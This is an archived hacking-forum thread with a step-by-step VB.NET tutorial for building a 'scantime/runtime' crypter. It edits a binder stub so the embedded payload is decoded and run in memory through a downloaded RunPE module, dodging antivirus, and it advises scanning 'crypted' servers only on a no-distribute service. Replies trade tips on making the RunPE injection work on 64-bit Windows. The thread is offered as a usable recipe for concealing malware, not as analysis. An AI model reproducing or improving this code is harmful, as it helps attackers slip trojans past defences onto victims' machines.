+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] How-To Make your own Scantime/Runtime Vista/7/XP crypter (/showthread.php?tid=379558)
How-To Make your own Scantime/Runtime Vista/7/XP crypter - krayon - Apr 21, 2010
First I need to say a few things.
1. I'm in no way an awesome vb.net coder, I have had little experience with this type of programming.
(tho ive used vb since version 3-4)
2. I have spent a good 2-3weeks reading and trying to understand as much as I can about all of this.
3. This How-To was made for people who have very limited knowledge of vb.net and just want to get runpe working.
4. Everything here was found on this forum, I'm just trying to save some people the headache
of locating everything and a bunch of trial and error.
This is how I got runpe to work with Eprouvez's tutorial on making a binder in vb.net and t0fx's runpe source code
First you are going to want to complete his tutorial on The 'Real' Binder https://hackforums.net/showthread.php?tid=361286&page=1
After you have sucessfully made his binder....come back and find out how to edit it to get runpe working.
Ok welcome back if you have sucessfully followed Eprouvez's amazing binder tutorial you should now have
a good working binder and scantime crypter to work with.
You should also know how to add your stub to your binder project and have figured out that they are 2 seperate
programs and the stub is the one doing all the work.
Next you're going to want to download the source code for runpe. We're going to use t0fx's source code from his
moon crypter project.
http://www.mediafire.com/?zdjtnkn21go
Download the rp.vb and save it to your hard drive.
Now open up your stub project from earlier when you completed The 'Real' Binder by Eprouvez.
As you can see in his tutorial and code in the stub project under Form1_Load the file is getting dropped to the hard drive in the temp directory and then ran
thus the antivirus is saying "erm...hell no!one!!"
So in Visual studio goto the project menu and click Add Existing Item.
Now look for the rp.vb you just downloaded and add it.
(this is t0fx's runpe module from moon crypter)
Double click on form1 and in the code view add this under Public Class Form1
Code
Public Shared Function StrToByteArray(ByVal str As String) As Byte()
Dim encoding As New System.Text.ASCIIEncoding()
Return encoding.GetBytes(str)
End Function 'StrToByteArrayNow here is where the editing comes in...double click the form on the stub project and look under
Form1_Load you should have this
Code
Try
Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
Catch ex As Exception
Process.GetCurrentProcess.Kill()
End Try
Process.GetCurrentProcess.Kill()
End Sub
End ClassNow we need to edit this part so the file isnt dropped anymore
and call t0fx's runpe(rp.vb)
Remove both lines completely that have My.Computer.FileSystem.WriteAllBytes
Now remove the next line completely that has Process.start
In place of those 3 lines we're going to be calling runpe so here goes
Code
System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))
rp.MakeIt(File1, Application.ExecutablePath)So your Form1_Load should look something like this now
Code
Try
Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))
rp.MakeIt(File1, Application.ExecutablePath)
Catch ex As Exception
Process.GetCurrentProcess.Kill()
End Try
Process.GetCurrentProcess.Kill()
End Subyour Resources folder of your Binder project. Replacing the old stub that wasnt runpe or re-naming it and
backing it up incase you want to use it later.
Now instead of binding 2 files together...you need to open your server in both textbox's kind of like you're binding your
server with your server, and hit bind. You should now have a runpe encrypted server.
Enjoy
(I havent incorperated the binding of 2 files into the runpe code as i stopped right here in this project because i dont think runpe
is the greatest thing since sliced bread i just wanted it to work for an experiment, and basically wasted alot of hours doing it)
Thanks to
MC' - for helping me understand so much
Eprouvez - for his amazing tutorial he wrote on how to build a binder in vb.net
t0fx - for releasing his runpe module, even tho he got screwed over
Remember only scan your crypted items on
scanner.novirusthanks.org and always check the Do Not distribute box.
this is still kind of buggy under XP i am trying to find a more stable way to do this...
* - Xaniar - Apr 21, 2010
good overall tutorial , bookmarked to read it later.
* - DarkSeven46 - Apr 21, 2010
Ok tutorial, but try using better grammar next time.
* - Neroxan - Apr 21, 2010
Well put together tutorial. Im sure well be seeing a major improvement in the .net applications produced around here now:)
I still roll with the old vb myself as I didnt start learning long ago, but thanks for sharing anwyays.
* - JIMP - Apr 21, 2010
Good TUT.The runPE soes not work with 64 bit computers.
* - krayon - Apr 21, 2010
(Apr 21, 2010 06:44 PM)$atanrulze Wrote: Good TUT.The runPE soes not work with 64 bit computers.Thanks for the bit of info, maybe now that people can get it going...others will start experimenting and adding their own stuff to get it working.
* - JIMP - Apr 21, 2010
(Apr 21, 2010 11:17 PM)krayon Wrote: Thanks for the bit of info, maybe now that people can get it going...others will start experimenting and adding their own stuff to get it working.
Thats true.
* - Soul Collector - Apr 22, 2010
Good job m8. Going to add this to my HF Guide.
* - bcztp - Apr 22, 2010
(Apr 21, 2010 06:44 PM)$atanrulze Wrote: Good TUT.The runPE soes not work with 64 bit computers.
I just bookmarked this but try compiling it as an x86 program and maybe it will work with 64 bit computers. Maybe WOW64 mode will make it fixed.
If anyone has time to test this post back in the thread :D.
* - JIMP - Apr 22, 2010
(Apr 22, 2010 12:35 AM)xZerox Wrote: I just bookmarked this but try compiling it as an x86 program and maybe it will work with 64 bit computers. Maybe WOW64 mode will make it fixed.
If anyone has time to test this post back in the thread :D.
I am not sure that going to work either.This runPe works only for 32bit.According to the pros changing the APIS should make it work for 64 bit too.
* - [Eprouvez] - Apr 22, 2010
Well done on the Tutorial mate :D
Thanks for the credits.
* - iDope -.- - Apr 22, 2010
Good job. A very detailed tutorial. The newbs( me included) can learn something from it.
* - JIMP - Apr 22, 2010
I havnt used ur TUT but i use the same RunPe.When i crypt some Exe i get this error.
[IMG]http://i43.[censored].com/15dutn6.jpg[/IMG]
Does anyone know wat to do.
* - newbie223 - Apr 22, 2010
firstly tofx runpe is not buggy on XP its buggy on vista n 7
2nd u can make it work on x64 by changing api
3rd i like piez :)
* - Bitwin - Apr 22, 2010
(Apr 21, 2010 06:44 PM)$atanrulze Wrote: Good TUT.The runPE soes not work with 64 bit computers.
Isn't it so that it can't inject 32bit apps into 64 bit memory, but 64 bit apps into 64 bit memory ?
I can be wrong tho